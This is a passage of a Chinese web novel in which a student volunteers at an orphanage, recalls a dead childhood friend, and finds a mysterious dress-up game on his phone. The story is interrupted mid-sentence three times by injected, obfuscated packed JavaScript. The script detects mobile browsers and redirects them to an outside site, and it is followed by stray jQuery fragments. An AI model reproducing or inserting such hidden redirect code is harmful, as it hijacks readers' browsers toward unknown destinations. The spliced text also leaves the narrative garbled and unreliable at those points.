她瞅着这不好惹的面相,冷淡到极致的神情以及凌乱不羁的碎发,活脱脱地像是遇见了个通缉令上的杀人犯,表情登时变了。
“谢、谢了。”
季不寄没在意女生骤然转变的态度,不急不慢地朝建筑物走,剩下几个人见他动了,纷纷跟上。
他听到身后的男生抱怨这里泥地太多,弄脏了他新买的球鞋。一旁的同伴安慰了他几句,顺水推舟地问出他新鞋的价格,继而给予吹捧。
除他以外,来的这几个都是大一的学弟学妹们,高年级的学生会去自行组织一些实践活动,以此来加更多的综测分。而大四的学生临近毕业,根本没有加分的需求,也就不会来报名。
进到里边,一群孩子正坐在房间里吃早饭。兴许是下雨的缘故,室内并没有开空调,七月末的高温蒸腾着潮气,屋子飘荡着一股闷臭的怪味。
少有的几个健全的孩子抬头看了他们一眼,又低下头继续吃饭。更多孩子是被保育员一口一口地塞着饭,他们或是智力障碍、或是肢体残疾、亦或是患有严重的心理疾病。
季不寄明白为什么刚刚那个女人会走得那么急了。
比起屈指可数的保育员数量,需要照顾的孩子们实在是太多了。
几个学生第一次见到这幅景象,呆愣愣地杵在原地不知道要干什么,他们的带队老师于线上指导,这会儿还没在群里发话。穿新鞋那男生探头探脑地望了一圈,闯进就餐区,端起一只碗就要过去喂小孩,忙被一年轻女人截住。
“你们不清楚这些孩子的具体情况,就别掺和喽。”保育员挥胳膊赶他回去;“先去站会儿,这还轮不到你们发挥。”
男生把食物放回原地,只得悻悻而归。
“给小孩吃的是什么泔水,他们肯定把钱贪了。”他小声嘟囔了句,招来同伴的摇头提醒。
待到早餐时间结束,保育员动作麻利地收拾完残局,几个大点的孩子搭手帮忙。
收拾得差不多了,先前那位保育员对他们道:“你们一会儿去陪他们玩吧,随便教点东西,读读绘本,画点涂鸦都行。”
季不寄将擦桌子的抹布丢桶里,朝女人点了点头。
男生问:“就做这个,没别的了?”
“对,就这些。”保育员笑了笑,脸上的皱纹舒展开。
除去物质条件外,孩子成长的过程中还需要大量的陪伴与互动,一个拥抱、一句鼓励,对他们而言都是有意义的。
然而人手不足的福利院并不能做到这些,平均十多个孩子也就只能有一位“妈妈”。
季不寄无声叹了口气。
这里的设施虽简陋但很齐备,一部分孩子被保育员领到了外边,剩下的一些孩子年龄都在七岁以上。
外边雨过天霁,院子里有几个小孩在晒太阳。其中一位季不寄今天刚见过,在论坛帖子上。
他身形瘦弱,腿脚不太方便,走路时一瘸一拐,挪了两步就停了下来。
这正是勇者时恩赐舍命救下的残疾儿童。
福利院开放日那天,保育员一个没看住,这孩子就拖着瘸腿横闯了大马路。热心青年时恩赐不假思索地冲去推开了他,舍身救人,一命呜呼。
季不寄想,怎么会有时恩赐这么善良的傻子,他本该有无量的前途、大好的未来,如今却与世长辞,永远沉睡在了地底。如若昨天站在那里的人是自己,他指定是要无动于衷的——哪怕眼睁睁地看着孩子死亡。
不过时恩赐,内里从始至终或许仅有属于季不寄的那个部分发生了改变。
几年前,他们尚在同一所高中就读。暑假期间学校组织了一次志愿活动,地点设在了本地的一家大型福利院。
那里的孩子很多,工作人员不能顾及全部,便把大门一锁,让他们自己在院子里跑着玩。
年少的季不寄还是副优等生的做派,带队老师让他做什么他就做什么。忙完了清扫院子、换洗床单被罩和整理图书室,他回到大院找了个墙角休息。
刚一坐下,屁股忽被人踢了一下,他偏头,看见时恩赐正躲在阴凉处打游戏,长睫低垂,颈间价值不菲的项链反射出银色的光。
季不寄躲开踢到自己的鞋尖,凑近他问:“你一直躲在这儿打游戏?不怕老师骂你吗?”
游戏的声音开着外放,欢快的电子音符跳跃地钻入耳朵,时恩赐玩得坦坦荡荡:“他强制让我来的,我又没想来,人能到已经很给他面子了。”
地方有些狭隘,季不寄挤过去看他玩了什么,脑袋贴到他太阳穴上,呼出的热气时不时拍打着他的皮肤,时恩赐素白的脸蛋顷刻染上红晕。
“热死了,离我远点。”
脑壳被他用力撞了一下,季不寄拉开了点距离,以为他是被发现玩少女游戏害羞了:“没关系,我姐也玩这个,她都集齐这个系列的全套服装了。”
“我才刚下!”时恩赐说着,手指移到右上角游戏货币旁的加号,输入密码时丝毫不避讳季不寄,唰唰往里边氪了好几个最高金额,买下了商场的全部服装。
他的行为幼稚得不像一个高中生。季不寄不跟他一般见识,只是有点替他的钱包心疼。
时恩赐简单戳戳屏幕的每一笔开销都能抵上他一个月的生活费。
季不寄看他点来点去挺累的,发现了商机:“你要不花钱雇我替你氪金吧。”
“我看上去就那么像冤种暴发户?”时恩赐白了他一眼。
季不寄幽幽在心底纠正,不是冤种暴发户,而是冤种暴发户的儿子。
只不过这话他自然是不敢说出口的,无声无息地看着时恩赐给美少女搭配了一套颇具个人审美的衣服去赴男神的约会,最后被对方拒之门外,气得把衣服扯下来丢地上不停跺脚。
“你笑了吧?”游戏界面显示出一个巨大的“Gameover”,时恩赐首先关注到旁边人的反应,重复道:“你刚刚绝对是在心里嘲笑我。”
季不寄漆黑如墨的眼眸仿佛深海,未曾掀起过一丝一毫的波澜。不过虽不知时恩赐是怎么发现的,他确实在心里笑了。
怎么会有笨蛋穿圣诞老人装去参加烛光晚宴?
“奇怪,这关卡设定的有问题。是卡bug了么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780813|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?肯定是配这套衣服没错了,前边还刻意强调了是圣诞节约会。”时恩赐盯着白胡子美少女,仍在深思。
他自己不行还怪游戏有bug,季不寄抬手,刚想提醒他怎么做,便看见远处过来了一个小男孩,手里端着一盘切角蛋糕。那是他们志愿团的一名老师自费带来的,专门分给孩子们吃。
他观察着那男孩的举动,抬起的手落下摇晃了一下时恩赐的胳膊,后者的手一抖,划过屏幕,无意间选上了一件套装,卡了许久的游戏居然就这么通关了。
“季不寄,你简直是天——”
季不寄霍然堵住了时恩赐的嘴巴:“嘘,你看他在做什么?”
时恩赐感受到他温热的掌心,恍了下神,方撩起眼帘去瞧那边的动静。
只见一男孩鬼鬼祟祟地走到围墙边,压着嗓子喊了几声,不一会儿,一只黑毛小狗从茂密的草丛里钻了出来,这里的墙根处竟是有一个缺口。
他拿塑料叉剜了一块蛋糕,喂到狗的嘴边,一人一狗就这样你一口我一口地吃了起来。
季不寄蹙眉,快步走上前去,冲小孩喊了声:“你不能喂它。”
小男孩被这个长相不善的哥哥冷不丁地吓了一跳,声音紧张地哆哆嗦嗦的:“它它它不脏。”
“那你也不能给它吃。”季不寄冷声提醒道。
“那……”小孩鼓起勇气问道:“是哥哥你想吃吗?”
时恩赐在他身后噗嗤笑出了声,潋滟的柳叶眸都要因憋笑沁出水雾来。
“你看看你,把人家小孩都吓得结巴了。”他语气戏谑。
季不寄见他还搁那调笑自己,无语地按了按额角,认真解释道:“狗吃蛋糕可能会拉肚子,而且它和人类对糖分接受的能力不同,人类的食物对狗来说很容易超标。”
小孩也是第一次知道原来还有这层缘故,听话地放回蛋糕,有那位面容和善的大哥哥开玩笑,他精神放松了些:“那狗狗可以吃什么呀?”
季不寄家里光养几个孩子都快揭不开锅了,也没养过狗,他举了几个不会出错的例子后便说不上来了。
时恩赐替他补充道:“除了各种瓜果蔬菜、肉类,狗狗还可以吃门口的烤山药。”
烤山药?
还未从疑惑中剥离,季不寄感觉手被人一拉,听见他趁机道:“你们先在这里等会儿,我和这个哥哥现在出去买烤山药。”
于是他被这想一出是一出的家伙带着钻了狗洞,溜到福利院门口去买大叔的烤山药。
“是你自己想吃了吧。”等候过程中,季不寄神情略微复杂。
生平首次钻狗洞,大少爷接受良好,接过一大兜烫乎的烤山药,付现金结了账,季不寄有点惊讶他出门还会带现金。
“我只知道某人又没吃早饭,眼珠快蹦到人家小孩的蛋糕里了。”时恩赐挑出一根最重的递给季不寄:“呆站着做什么,不知道帮我分担重量?”
季不寄接过烤山药,食物的热意透过纸袋源源不断地传到手上。他咬了一口,将重量分担下肚,糯糯的味道夹杂食材原本的回甘,落入胃里很舒服。
哪怕是备受宠溺的高中时代,时恩赐一样懂得照顾别人,或许是因为他天生浸泡在爱意里长大,所以不会吝啬去传递自己的善意。
院子里,几个孩子玩起了老鹰捉小鸡。季不寄无所事事地倚靠在墙边,盯着他们。老鹰是瘸腿的,小鸡崽们也不大聪明,躲着躲着就脱离鸡妈妈的庇护落入敌爪了。
等到午休时间,孩子们被哄着入睡了,保育员压低声音对季不寄道:“这儿我看着,你休息去吧。”
季不寄便去了趟厕所,在院里找了块干净的地方坐下,摸出手机。手机关机了一上午,但他交际不广,想来也不会有什么要紧的事找他。
没想到按开机后,手机竟持续不断地发出振动,主界面一条信息提醒不停刷新着他的通知栏。
【您的“天国公主养成计划”已下载完成】
【您的“天国公主养成计划”已下载完成】
【您的“天国公主养成计划”已下载完成】
【是否点击游玩?】
5. 请选择性别
莹蓝的幽光映入季不寄眼底,他的脸上毫无表情,神色显得有些空洞,似乎对这款堪称灵异事件凭空出现的游戏并不感兴趣。
【确认游玩。】
他点进了小太阳的图标,正式进入游戏,方搞明白这天国公主的名字是什么意思。
层层白云包裹着一位金发小人的身体,无数小天使吹动号角,于小人旁翩跹起舞。云层逐渐升高,一架象征现代科技的航空飞机极速而过,背景音神圣而庄严,仿若置身于天堂之上。
没错,如果忽略那架飞机的话。
小人宛如货物一般被飞机拖走,摇摇晃晃地坠在机尾,失去了云层遮盖,季不寄这时才看清楚他的脸。
没有五官,正中央是一道巨大的“X”。
难怪说是“天国”公主养成计划,主角是直接从天堂空运过来的。
只不过,这角色看起来不太像是女角色。季不寄仔细瞧了瞧,光看打扮,还觉得有几分似曾相识。
开发人员盗用了哪本时尚杂志的模特穿搭?
他想着,发现小人被飞机半空丢下,有惊无险地穿过森林,飘飘悠悠地落到了一片湖泊里。
一入水,小人即刻恢复了行动,扑腾着游到岸边,衣服和鞋子都变得湿漉漉的,头发也蔫了下来。
这时游戏界面弹出来一条提示。
【请选择角色性别】
季不寄愣怔了瞬,这分明是个男角色,有什么好选性别的?
受好奇心驱使,他还是把手指头移向右侧的“女”选项。
天上倏然掉落一件包裹,小人拆开包裹,换上里边的公主裙和水晶鞋,原地蹦跶了几下,看上去并不满意。
原来这个选项不是真指的性别,而是指的“女装”。
季不寄切换到左侧的选项,又一件包裹坠下,里边是休闲外套和灰色长裤,这次小人没有激烈的反应,显然是接受了。
真不知道四年前的时恩赐为什么会沉迷于换装游戏,他又不能穿到自己身上,天天沉浸虚拟世界有什么乐趣?
由屏幕的新手教程步步指引着,季不寄带金发小人在树林里东拐西绕,最终抵达了一间小木屋。
叮咚一声,游戏提示音响起,右下角小窗弹出一个成就。
【家园系统已解锁】
这是要建家了。季不寄戳了下木门,引导小人进入屋内。里边空间不大,摆放着一些木质家具,温馨的烛光摇曳于窗边,bgm适时切换,游戏的节奏放缓了些。
小人底下显示出了聊天框,不过他不能打破第四面墙同玩家交谈,仅仅是一些自言自语。
【无人的木屋,为什么会点着蜡烛?】
这莫非是个悬疑游戏?季不寄琢磨不清要做些什么,他唯一接触游戏的那几年都是和时恩赐一起,两人断交后就再也没有玩过游戏了。
他如无头苍蝇般把家具全点了一遍,想看看有没有什么能触发的地方。金发小人于是按照他指示的顺序,先是移动到了床头柜旁。
【没有什么特别的东西。】
调查结束,他又从床头柜移动到橡木书架。
【没有什么特别的东西。】
仍旧没有收获,小人而后从书架踱步到长桌前,再度出现了同样的字眼,他开始围着屋子到处乱转。
这段话一连刷出来数次,小人似乎是被他折磨得没力气了,在执行完最后一条指令后,呆呆地静止在了原地。
季不寄的手指覆盖住小人,拖动敲击均无反应,他差点以为这游戏是卡顿了,却看见窗边的烛光仍在摇曳。
界面的顶端有一条灰色的棍状物,无论移动到哪里都会横在正中央,格外瞩目。他点了下,同样没有反应。
摆弄了一会儿,见小人是真的不再动弹了,他退出游戏,手机往兜里一揣回了屋里。
这游戏有bug。
午休时间过后,孩子们陆陆续续起了床。下午几个大学生聚在一起,终于得到了来自带队老师的指令。
她在群里问他们上午怎么样,有没有好好按工作人员的要求做事。两个女生中较为活泼的那个跟老师汇报了一下他们做的工作,以证明自己没有摸鱼。
老师回了他们一排平易近人的大拇指,随即吩咐他们下午可以带孩子们做一些手工制品,之后去附近街边做义卖。这一环节是率先在相关文件里通知过的,几名大学生都做了准备。
女生从包里翻出来钩织用的工具包,她前几天在群里提议带小孩做些手工钩织品,发了些可可爱爱的样图,看样子挺好卖的。季不寄提前在网上搜视频教程学了几天,钩出来的东西稀烂。
他认为这玩意可能不太适合这里的一些孩子学,额外带了一些油画棒。
经过保育员的同意后,他们带大孩子们进入一间空教室。
教室里桌椅排列得整整齐齐,黑板上用彩色粉笔画满了涂鸦,图案间隙里能找见几个歪歪扭扭的小字,写着些独属于孩子间的秘密。
兴许是教室从未坐满过的缘故,后排的座位落满了灰尘,午后的阳光从窗户洒进来,暖融融的,光线中上下漂浮着尘埃。
几个男生把一部分桌椅推到后边墙角,前排的课桌围成一个圈,孩子们规规矩矩地坐过去,先前那个背包的女生将DIY工具倒桌子上,他们的眼睛便亮了。
虽然福利院之前也接收过许多捐赠的玩具,但孩子们还是第一次见到这些小玩意,不由有些新奇。
桌面上有粗细不一的钩针、五颜六色的毛线团,还有一些钝头剪刀和胶水。那女生自然是擅长这些的,她像个小老师一样走到中央跟孩子们讲了一遍各种工具的用法,然后开始手把手教学。
另一个文静些的女生手也很巧,虽是以前没做过,但能照着手机教程钩织出个形状,现学现教,周遭的小孩纷纷上手做了起来。
有些不想做钩织的小孩就拿油画棒在纸上搞艺术创作,季不寄搁一旁盯着,他浑身艺术细菌,画出来只会影响摊位生意,自是比不上这群孩子负气含灵。
约莫过了一个小时,充当氛围组的活泼女生去了厕所,另一个女生仍埋头自学着,似乎是学上头了,视频播放到半截,手机没电自动关了机。
女生的进度被中断,抱头道:“啊——手机借我用用!”
除却孩子,她身边原本坐着的只有季不寄和那个活泼女生。那姑娘刚刚去了厕所,季不寄便将手机递给她用。
女生接过手机,唰的抬起头,对上那张薄唇尖鼻的脸:“季……学长。”
季不寄神色清淡无波:“你用吧,我横竖闲着。”
女生犹豫了下,在这一瞬息间闪过了万千丑闻,顺带还给他脑补出了一身青龙白虎的纹身,最后才悄声道了谢。
拿过手机,她惊愕地发现季不寄的手机居然没设密码,坦荡得出乎意料,这在现代简直像是当街裸奔的人类,没有任何隐私。
旁边的小妹妹等着她继续钩织,她打开浏览器,刚想搜索方才看到一半的视频,屏幕上忽弹出来一条提示。
【“天国公主养成计划”已更新完毕】
什么鬼?不良学长私下还有这兴趣爱好?
女生无意触及他人隐私,欲要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780814|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关闭信息,那款名字奇怪的APP如流氓软件般自动启动了。
季不寄没注意她,正侧头瞅着一男孩画爸爸妈妈。这是那个泥鞋男大出的损招,他说福利院的儿童画这种题材更具商业价值。男孩倒不在意,他压根没见过父母,索性天马行空一顿乱画。
游戏界面缓缓展开,屏幕中间的小木屋里出现了一个金发小人,压缩的像素难掩矜贵气质。他从窗台前抱起花盆,面朝向玩家的主视角,脸上并无五官。
这流氓软件怎么看怎么像是一款女性向养成游戏,难道季不寄这冷酷冰山的表象下竟潜藏着一颗少女心?
这时,游戏弹出一条消息。
【你的储物柜里有水仙百合和曼陀罗的种子,你打算选择——】
屏幕上出现了两个选项。手机的主人不是她,她可不能擅作主张。
她把手机还给季不寄,解释道:“不是我点的,是这游戏自己跳出来了。”
季不寄竟没生气,抿唇接过手机,瞧了眼屏幕,做出选择。
“……你选了什么?”女生胆子大了些,好奇问道。
季不寄平静如水:“水仙百合。”
他看着小人摇摇晃晃地踩着板凳,将种子播于窗台花盆里,填好土壤后,动作再度陷入停滞。
体力条又用光了?季不寄感觉这小人体力有些羸弱,关掉游戏,把手机还给女生。
他流露出的反差太大了,女生探求心作祟,继续问道:“学长你喜欢水仙百合吗?”
“不喜欢。”
女生一愣:“那你……”
“只是不想选曼陀罗。”季不寄轻轻耸肩,面上多了些神韵:“小木屋种这东西太阴森了,不是吗?”
不同颜色的曼陀罗花语有好有坏,但整体来说,给人的印象是黑暗不详的,象征着复仇与诅咒。
季不寄不喜欢这种意象。
时恩赐在中二时期,曾给他校服上缝过一朵白色曼陀罗。
起因是大年三十早上,他从家溜出来找时恩赐放烟花。北方的冬天冷且干,他按照时恩赐的计划跑到湖心公园等他,在树底下冻得哈气跺脚。
殊不知,时恩赐老远看见了他,点燃了仙女棒,鬼鬼祟祟地绕到背后靠近,正准备给他个惊喜。
季不寄一个脚滑,向后栽倒,时恩赐躲闪不及,燃着的仙女棒在他衣服上烫了个洞。
时恩赐在雪里熄灭烟火,忙把他拉起来,分外紧张地上下检查着:“你没受伤吧?”
季不寄里里外外裹了两层冬季校服,皮肤虽没被烫伤,衣服却烧开了个小洞。
“我没事。”他摇摇头,皮肤冻得发白,几乎要与公园的积雪融为一体。
时恩赐皱起眉头:“你太冒失了,本来就不灵活,平地摔更傻了怎么办?”
他这话倒说得好笑,季不寄学习不算努力,但成绩一向稳坐年级第一的宝座,单论学习方面,和排名如坐过山车的时恩赐比起来,不知聪明了多少倍。
“我冒失?是你幼稚吧。”季不寄反唇相讥。
时恩赐理不直气却壮:“我哪里幼稚了,这不是想和你分享新年的喜悦吗?”
他嘴比鸭子硬,心其实早就软了,也顾不上放烟花,把季不寄赶回自家别墅取暖。他本来想赔季不寄一件崭新的冬装,奈何季不寄不要,他就让住家阿姨教自己针线活,搁人家校服上缝了朵白色曼陀罗。
至于为什么是白色的,中二期的时恩赐声称是为了美观,因为校服底色是黑色的,对比色更引人瞩目。
后来,季不寄无数次痛恨过它的瞩目。
6. 我就在这里
工作结束,晚上那个外向的女生提议大家一起去吃顿饭,权当庆祝今日的辛劳。他们最初只把这单纯地当成一场校外活动,经历了这一天后,心绪多多少少发生了转变。
季不寄默认自己不在受邀者之中,收拾收拾东西计划坐最近的一趟公交回去。旁边那文静女生突然叫住他。
“不一起去吃饭吗?”
季不寄拒绝的话尚未脱口而出,女生抢先一步道:“一起去吧,学长。”
他弄不明白这级学妹的心思,明明起初还是退避三舍的态度,如今却用那双饱含热情与期待的眼睛望着他,浅黄色的虹膜是接近某人的颜色。
改变计划的原因倒不是一些莫名其妙的联想,仅仅是因为他饿了。
于是,他取消了刚查好的导航规划,跟随这群学弟学妹们去了一家都菜馆。
这家店在学生群体中颇受欢迎,饭点一向生意火爆。好在饭局提议者提前打电话订好了包厢,他们进入后直接落座。
几人此前同季不寄并不相识,加上近期关于他的流言满天飞,氛围多少有些尴尬。点完一轮菜后,那个活泼些的女生为了活跃气氛,扯了个不痛不痒的话题。
“你们说,咱周末义卖能卖多少钱?”
他们今下午带孩子们做完手工制品,天色就深了,保育员让他们先回去,剩下的明天再说。
“我周末有辅修考试,来不了。”泥鞋男生摆摆手道:“你们卖去吧,反正卖多少都是交给福利院。”
女生诧异他的说法:“本来就是给孩子们增添物资的钱呀。”
酒和凉菜先上了,男生饿了一天,空着腹喝了杯酒水,捡了几颗花生豆丢嘴里。
“他们享受着国家和社会资助,白吃白喝的,哪里差钱了。”
他这话是纯纯的怨气宣泄,同伴看不下去,用筷子尾端敲了他一下:“人家无父无母,你双亲健在,你说这有什么意思?”
“我说这有什么意思?”不知是不是酒劲儿上来的快,男生丝毫没意识到自己的错误:“咱们读书期间花钱打白工,毕业了撑死找个三千块钱的工作充当廉价牛马。这专业就是个骗局,一辈子赚不着个大钱,打着助人的幌子骗骗理想主义者。”
季不寄充耳不闻地剥着毛豆,不满现状的小孩他见多了,大一后续还有转专业的机会,走之前骂骂专业是常态。
哪知,下一句话他就被cue到了:“还不如像咱季学长一样,多卖卖后边——”
话未说完,他被同伴重重地打了一下,咬牙切齿提醒道:“学长本人在这儿呢。”
心里想想是一回事,这当着当事者的面从嘴里说出来可就是另一回事了。
男生本来还觉得自己通透明理,道出了大家心中的共同想法,直到瞧见对面季不寄仿若冷涧深雪的眼神,煞时如鹌鹑般怂了。
季不寄淡淡地问了句:“你父母健在?”
他不是为了骂人,想表达的仅是话语最表层的含义。
男生下意识点点头。
“鞋子是自己的钱买的?”
“不是啊,那咋了,他们生了我养我不是天经地义吗?”男生反驳道,恢复了些底气。
“天经地义……”季不寄呢喃着,若有所思。
男生见他空长了张恶人脸,脾气古怪却并不火爆:“你这人怎么阴阳怪气的?”
未正眼看人,他的余光掠过男生的麻子脸:“不对。双亲健在、待你负责并非一件普通的事,这对于许多孩子而言是不可奢望的奢侈品。”
他在纠正开始时男生发表的言论。季不寄不擅言辞,这点说教已经是在大脑中斟酌数遍的结果。
拯救僵局的是一份份上桌的热菜,女生强行挽回场面,晃晃筷子号召大家趁热消灭食物。
男生被季不寄说得哑口无言,索性顺台阶而下,伸筷夹菜。
季不寄低头吃菜时,将一侧的黑发撩至耳后,藏于发丝的耳钉亮闪闪地显露出来。耳骨钉是玫瑰金色的,内外两侧的耳轮皆戴着耳环,耳桥间穿有镶钻的银色耳饰,长链于包厢顶光下流光四溢。
旁边的女生看得愣神,这难免过于华美绚丽了,与他平日里给人的感觉不大匹配。
她本来觉得这位学长是接近于地痞的不良角色,一日接触后忽感觉对方性格更似一潭死水,不去招惹便不会掀起波澜。可如今她才意识到,人的性格是不能过早妄下结论的。
死水可不会将配饰叮里咣啷地挂满耳朵。
察觉到旁人的目光,季不寄略一侧眸,腮帮子还鼓着,吐字含糊:“怎么了?”
“学长,你的耳钉……”女生欲言又止。
季不寄反应过来,耳洞打久习惯后,他不主动去想,很少会感知到异物的存在。白天时,他为了避免造成不好的影响,会刻意将耳朵藏起来。
他抬手拨回发丝,重新挡住右耳。
“诶呀,我不是那个意思。”女生悄声道:“我是觉得它挺特别的,你在哪打的?”
他的耳洞只打了一侧,耳垂、耳轮以及耳廓都穿了孔,一切源于一位临时起意的穿孔师朋友非要拿他的耳朵练练手。季不寄没想到自己这一露还有帮朋友宣传生意的效果:“湖西区的一家店,我把他微信推给你?”
女生也就随口问问,没有穿孔的打算,但转念一想这何尝不是获得学长微信的好机会,遂同意道:“那麻烦学长了,我扫你。”
两人加上微信,女生发现他的头像是一副五颜六色的水彩画,歪七扭八地趴着几颗树和小动物,似乎是小孩画的。朋友圈没有设限,仅有一些学院要求转发的公众号推送。
她联想到下午点开的那个游戏,在应用商店搜索了一下,一条条相关的养成游戏中,竟未找到在季不寄手机上看见的同款。
八点多聚餐结束后,几人散了伙。那两个女生是在校外合租的公寓,叫了辆网约车回去。泥鞋男生喝得醉醺醺的,嘴里不住地骂些没轻没重的脏话,他同伴怕激怒季不寄,扶着对方找了个借口走了。
季不寄同他们干杯时喝了杯啤酒,浅尝辄醉,此刻脑袋晕乎乎的,眼前的光晕愈发模糊,面对桌上的一片残骸发懵了好一番功夫。
方才,他好像是被人骂了。
那学弟不止骂了他,还骂了他们专业,精确到学院里的每一位教授讲师导员。
不是,凭什么啊?
酒劲逐渐沿中枢神经运输至大脑,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780815|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
干涸的情绪再度发酵,季不寄神情恍惚间,徒增了一股找人干架的冲动。
他揉了揉泛红的鼻头,摸出手机想叫辆车,努力聚焦瞳孔,却看见屏幕上某个流氓软件又自顾自地启动了。
失手按到了音量键,游戏轻松的电子音乐环绕于整个包间。
意识变得朦胧,季不寄蓦然忆起某个经常打游戏开外放的讨厌鬼,呼出的气息急促了些。他想立即把这个游戏关闭,卸载以后这辈子再也不玩游戏了。
然而就在他指尖触碰退出键的下一秒,游戏里的小木屋界面加载出来,金发小人朝自己献上了花。
【恭喜,您的水仙百合花已种植完成!】
关掉游戏系统的提示,小人捧着花盆接近屏幕,水仙百合的花瓣舒缓展开,于微风中轻盈摇曳,花蕾呈现出优美的心形。季不寄只觉自己踩在云上,迷离光景皆是幻象。
虚妄与现实交错,季不寄的眼神被醉意染得溃散开来,他仿佛看见一个人夺走了自己的手机,姿态傲慢地睨着他说:“季不寄,为什么不理我?”
“……时恩赐。”
季不寄的眼底似有细碎的光,迸射出异样的神采。
几年前,他和时恩赐在福利院做完志愿的当晚,同样去了家餐厅聚餐。
包间里落座了一位大领导,两名社会工作者,还有志愿团的带队老师和几个高中生。
在用餐过程中,那位大腹便便的中年领导酒后失言,借着教诲的名义说了些冒犯社工的话。大抵是说他们白瞎了本科学历,有这个功夫不如去学法进公检法,将来绝不会允许自家女儿干这个。
两个社工都是刚毕业的年轻女孩,被说净干一些无用功,脸快憋红了,却碍于他是大老板不敢得罪。
大家听他指点江山,心存忍让之际,身为高中生的时恩赐猛地拍案而起,和大领导公然叫板。
可真是初生牛犊不怕虎。全程在桌子底下沉默玩手机的季不寄当即愕然,低了半个多小时的头抬了起来。
吊灯下,替人打抱不平的时恩赐句句在理,言语间流露出的自信粲然生辉、遥不可及。
时隔多年,他当日说过的话季不寄已然忘却了大半,唯独记得他当时用了一个比喻。他说,从事社会工作的人就像是一滴水,水珠汇入山川河流,你不能指望它激起多大的浪花,社会工作也就只是社会工作。
但每个人终归是要融入社会的。
时恩赐讲完话,这些大人先是愣住了,而后,被当众扫了颜面的中年男人讪讪地朝女孩们道了歉。季不寄不知道这其中是否有看在时家的份上给的面子,但这一桌子人里能替她们打抱不平的只能是他。
年少时期时恩赐我行我素的底气令他艳羡。
这家伙才声色俱厉地批评完成年人,旋即便偏头朝他笑眼盈盈地露出了小虎牙。他知道季不寄喜欢吃什么,佯装是自己爱吃,把他常吃的菜式转到两人之间。
——
那既然时恩赐心地正直善良、对他无微不至,他为何还会在多年后避之而不及呢?
只因他亲耳听到时恩赐这样说了,恰好于他们分道扬镳的前夕。
他亲口承认了对自己刻骨铭心的恨意。
7. 说好的陪我看日出呢?
季不寄害死时恩赐母亲的第四天是一个晴朗的周末。他躲在一辆车后边偷溜进时恩赐家所在的小区,凭借记忆找到那栋欧式风格的别墅,蹑手蹑脚地翻入他家后院。
正值乍暖还寒之时,别墅周围草木发芽冒出绿尖儿,处处是春意盎然的景象。
当了十几年乖学生的季不寄从未想过自己有有朝一日会有如此厚的脸皮,做出翻栅栏强闯民宅的举动。
但如果他不这样做,他不知道自己还有没有再见到时恩赐的机会。毕竟时恩赐连续三天没去学校了,电话也无法打通,似乎是铁了心要与他断交。
建立一段长久的关系对季不寄来说是极其艰难的事情,因此他不想稀里糊涂地结束,他要让时恩赐当面告诉自己内心的想法,对这段关系给予宣判。
他穿过后院,踩着人家的草坪往时恩赐的房间走去。时恩赐住在一楼,卧室阳台上有一面巨大的落地窗,他无意惊扰他家长辈,打算在那叫对方出来。
然而他才接近几步,便听到屋里传来了时恩赐的声音。
他在和一个男人谈话,另一道声音季不寄同样不陌生,是时恩赐的父亲。
季不寄迅速蹲下,就近钻入一处草丛里,顾不上扎人的枝杈,竖起耳朵捕捉室内的动静。
两人正在往阳台的方向靠近,时家的别墅隔音做得很好,季不寄并不能听清楚他们在聊些什么。不过,在时恩赐的父亲摔门走前,他听到时恩赐抬高音调说了声:“我和他早就绝交了,我讨厌——不,简直恨透他了!”
屋子里的声音彻底消失后,季不寄在草丛里蹲得腿脚发麻,他摇摇晃晃地站起来,脑子里只有一个字眼。
恨。
时恩赐恨自己?
不真实感来得如此强烈,季不寄大脑宕机,无论如何都无法料到待人宽容的时恩赐嘴里,原来也会蹦出这种字眼。
他和时恩赐这个学期时常冷战,闹起矛盾来能足足几日不产生任何交流。但时恩赐从未对自己说过这般极端的话语。
季不寄知道,这是他罪有应得的。他犯下的错,时恩赐把自己送上天给时母陪葬都不为过。
已经没有当面确认的必要了,季不寄达成了这次潜入时家的最终目的,如远处被风吹散的白烟般魂不附体地往外走。第二次翻栅栏的时候,他碾了一脚后院种的不知名的紫色小花,给园丁的劳动成果留下一串鞋印。
——
季不寄快要记不清自己是怎样从饭店挪回宿舍的了,他总觉得一路上吵吵闹闹的,左耳边是那个金发小人在木地板上咯哒咯哒地蹦跳,右耳边时恩赐絮絮叨叨地劝他戒酒。
烦死了,时恩赐,死了还那么烦。
两种声音仿佛被扯长的音线钻入耳膜,他寝不安席,辗转反侧了一夜才沉沉睡去。
